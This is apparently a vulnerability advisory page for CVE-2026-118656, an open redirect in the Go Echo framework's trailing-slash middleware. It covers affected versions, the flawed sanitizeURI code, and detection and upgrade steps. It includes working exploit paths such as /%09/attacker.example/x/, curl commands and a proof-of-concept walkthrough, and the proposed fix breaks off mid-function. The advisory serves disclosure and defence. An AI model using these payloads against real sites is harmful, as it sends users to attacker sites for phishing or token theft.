Live › vulnerability › CVE-2026-118656
Go to dashboardEcho's trailing-slash redirect guard only checks the first two bytes of the redirect target, so a leading TAB before a slash pair gets past it. A browser strips the TAB and sends the victim to an arbitrary external site.
Summary written from the sources below. Check the originals before acting.
First seen by InfraStack 2026-10-28 21:07 UTC, 0h before NVD. All times on this page are UTC.
Applications built on Echo v5 before 5.4.0 or Echo v4 before 4.16.0 that use the RemoveTrailingSlash or AddTrailingSlash middleware with a redirect code. The exposure depends on the redirect path being set, so apps using the default rewrite behaviour or without these middlewares are not affected by this path. Static directory redirects are covered by the same fix.
| Product | Ecosystem | Affected | Fixed in |
|---|---|---|---|
| github.com/labstack/echo/v5 | go | < 5.4.0 | 5.4.0 |
| github.com/labstack/echo/v4 | go | < 4.16.0 | 4.16.0 |
go list -m github.com/labstack/echo/v5 and go list -m github.com/labstack/echo/v4 to see the Echo versions in use.middleware.RemoveTrailingSlashWithConfig or middleware.AddTrailingSlashWithConfig is set with a RedirectCode value.curl -i 'http://your-host/%09/example.org/x/' and look for a Location header starting with a TAB and a slash.github.com/labstack/echo/v5 to 5.4.0 or later.github.com/labstack/echo/v4 to 4.16.0 or later.RedirectCode from the trailing slash middleware config, or reject request paths containing control characters before these middlewares run.Each row is the first time that source carried this signal. The analyst’s rows are its own findings.
Echo's dedicated open-redirect guard, sanitizeURI, decides whether a redirect target is a local path by inspecting exactly two byte positions: uri[0] and uri[1]. If the value begins with a control character such as a tab or a newline, followed by a separator pair, the guard does not fire and the value is written to the Location header unchanged.
Browsers remove tab and newline characters from URLs before parsing them, and treat a backslash as a forward slash for HTTP and HTTPS URLs. A Location value of /\t/attacker.example is therefore resolved by the browser as an absolute URL on attacker.example. Confirmed end to end in a headless browser.
middleware/slash.go:144 (duplicated verbatim at echo.go:958):
func sanitizeURI(uri string) string {
// double slash `\\`, `//` or even `\/` is absolute uri for browsers and by redirecting request to that uri
// we are vulnerable to open redirect attack. so replace all slashes from the beginning with single slash
if len(uri) > 1 && (uri[0] == '\\' || uri[0] == '/') && (uri[1] == '\\' || uri[1] == '/') {
uri = "/" + strings.TrimLeft(uri, `/\`)
}
return uri
}
The condition is anchored at absolute offsets 0 and 1. It cannot see a separator that has been shifted by one byte.
RemoveTrailingSlash (middleware/slash.go:112-140) reads url.Path, which net/http has already percent-decoded, strips the trailing slash, and appends the raw query string:path := url.Path
...
if l > 0 && strings.HasSuffix(path, "/") {
path = path[:l]
uri := path
if qs != "" {
uri += "?" + qs
}
if config.RedirectCode != 0 {
return c.Redirect(config.RedirectCode, sanitizeURI(uri)) // line 132
}
AddTrailingSlash does the same in the opposite direction at middleware/slash.go:67.
A request for /%09/attacker.example/x/ has url.Path equal to "/\t/attacker.example/x/" (a literal TAB byte). sanitizeURI evaluates uri[0] == '\t', the condition is false, and the value passes through untouched.
Context.Redirect (context.go:735) writes it to the Location header. Go's header writer removes CR and LF but leaves TAB, which is all that is required.
uri[0] and uri[1] are separators. Trust boundary: server-side sanitization of attacker-influenced path data.uri[1] being a separator) is never reached because the first condition (uri[0] being a separator) already failed.Location.Note that the newline variant does not survive: net/http replaces CR and LF in header values. TAB does survive, and TAB alone is sufficient because the browser strips it.
Attached PoC: ECHO-2026-002_poc.zip (in this directory). Extract it and follow
ECHO-2026-002/README.md for the full walkthrough. The archive contains a
self-contained Go module (go.mod, go.sum, main.go, README.md).
Quick start:
unzip ECHO-2026-002_poc.zip
cd ECHO-2026-002
# edit go.mod: point the replace directive at your Echo checkout
sed -i 's|=> .*|=> /absolute/path/to/echo|' go.mod
GOFLAGS=-mod=mod go run . # in-process check
GOFLAGS=-mod=mod go run . -serve # real listener on 127.0.0.1:18002
github.com/labstack/echo/v5)package main
import (
"net/http"
"github.com/labstack/echo/v5"
"github.com/labstack/echo/v5/middleware"
)
func main() {
e := echo.New()
e.Pre(middleware.RemoveTrailingSlashWithConfig(middleware.RemoveTrailingSlashConfig{
RedirectCode: http.StatusMovedPermanently,
}))
e.GET("/", func(c *echo.Context) error { return c.String(200, "home") })
_ = e.Start("127.0.0.1:18002")
}
In-process check. The program requests five path shapes and applies the browser
URL-parsing steps that matter (strip TAB, LF, CR; treat a backslash as a slash; a
leading // starts an authority):
GOFLAGS=-mod=mod go run .
GET code Location (control chars shown) browser navigates to
/normal/path/ 301 /normal/path (victim origin)
control: ordinary path, sanitized correctly
/%09/attacker.example/x/ 301 /^I/attacker.example/x attacker.example
exploit: TAB then slash
/%09%5Cattacker.example/x/ 301 /^I\attacker.example/x attacker.example
exploit: TAB then backslash
/..%09/attacker.example/ 301 /..^I/attacker.example (victim origin)
NOT exploitable: TAB is not at index 1
/%09//attacker.example/ 301 /^I//attacker.example (victim origin)
NOT exploitable: three slashes is an empty authority
RESULT: reproducible. ...
^I is a literal TAB byte. The last two rows are deliberate negatives, included
so the mechanism (the guard reads only uri[0] and uri[1]) is unambiguous.
Over the wire, with the -serve variant running on 127.0.0.1:18002:
Location on the wire. No backslash is needed for this variant:curl -s -i --max-time 5 'http://127.0.0.1:18002/%09/attacker.example/x/' | cat -A | head -3
# HTTP/1.1 301 Moved Permanently
# Location: /^I/attacker.example/x
cat -A renders the tab as ^I, confirming it is a literal byte in the header.
curl -s -i --max-time 5 'http://127.0.0.1:18002/%0A/attacker.example/x/' | cat -A | head -3
# Location: / /attacker.example/x (net/http rewrote LF to a space)
http://127.0.0.1:18002/%09/127.0.0.1:18099/x/
Observed in headless Chromium:
finalUrl: http://127.0.0.1:18099/x
The browser left the victim origin entirely, so this is a working open redirect, not merely a suspicious header.
Exit status 0 means the finding reproduced; 1 means an expectation was
violated.
An attacker can craft a link on the victim domain that redirects the victim to an arbitrary external site. Practical consequences:
The client must follow the redirect (user interaction is required), which is why this is scored Medium rather than High, but open redirects on authentication-adjacent origins routinely escalate in practice.
Normalize before deciding, instead of probing two fixed offsets.
func sanitizeURI(uri string) string {
// Strip control characters that browsers remove before parsing, so they cannot
// be used to shift a separator out of the checked positions.
u
This page as .md · .json · in your agent: get_signal("CVE-2026-118656")
GitHub Advisory Database, CC-BY 4.0 · NVD data is provided by NIST and is public domain. Posts quoted belong to their authors.